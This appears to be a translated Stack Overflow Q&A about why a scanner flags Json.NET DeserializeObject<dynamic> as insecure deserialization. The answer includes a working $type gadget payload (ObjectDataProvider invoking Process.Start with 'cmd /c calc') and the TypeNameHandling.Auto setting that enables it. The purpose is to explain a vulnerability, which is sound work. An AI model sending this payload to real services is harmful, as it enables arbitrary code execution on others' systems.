【问题标题】:Insecure deserialization using Json.NET使用 Json.NET 进行不安全的反序列化
【发布时间】:2019-04-30 15:31:44
【问题描述】:

静态安全扫描器在此行标记了我的 C# 代码:

var result = JsonConvert.DeserializeObject<dynamic>(response);

response 将包含来自 Web API 的 JSON 响应。

扫描器已将此标记为“不安全的反序列化”。

有人可以帮助我了解如何利用它吗? Web 示例并不清楚是否可以在 DeserializeObject 方法本身内或仅在反序列化之后发生漏洞利用。

【问题讨论】:

  • 你考虑过部分
  • 它是哪款扫描仪?我只能假设它对反序列化为动态对象的响应不满意,这意味着您将反序列化发送给您的 anything 。我很确定这不会产生任何可执行文件
  • 据我所知,该漏洞仅存在于非通用版本的 DeserializeObject 方法中(但也可能存在于动态类型中)。查看here了解更多详情。
  • 虽然这样的分析器可以提供有用的分析,但我看到了没有明确指定标志的确切原因的情况。如果有人拒绝它,他们会更清楚地解释原因,但扫描仪的“思考”可能是不透明的,这意味着机器人霸主不会告诉我们它为什么不高兴。

标签: c# security json.net


【解决方案1】:

尝试反序列化这个json:

{
    "$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
    "MethodName": "Start",
    "MethodParameters": {
        "$type": "System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "$values": [ "cmd", "/c calc" ]
    },
    "ObjectInstance": { "$type": "System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" }
}

使用此代码

dynamic obj = JsonConvert.DeserializeObject<dynamic>(json, new JsonSerializerSettings
{
    TypeNameHandling = TypeNameHandling.Auto
});

它将打开 Windows 计算器应用程序。可以运行任何可执行文件或脚本的相同方式。如果您使用 object 而不是 dynamic 或非通用的 DeserializeObject 方法,问题也仍然存在。请注意,如果您不设置 TypeNameHandling = TypeNameHandling.Auto,其他人可以像这样设置全局设置:

JsonConvert.DefaultSettings = () => 
    new JsonSerializerSettings{TypeNameHandling = TypeNameHandling.Auto};

【讨论】:

  • 这是一个很好的解释!虽然我知道如果将 TrustedType 设置为对象或动态,它将很容易受到攻击。如果将“JObject”用作 TrustedType 会很容易受到攻击,如下行所示:JsonConvert.DeserializeObject(jsonString) ?
猜你喜欢
  • 1970-01-01
  • 1970-01-01
  • 2017-11-21
  • 1970-01-01
  • 2020-01-30
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
相关资源
最近更新 更多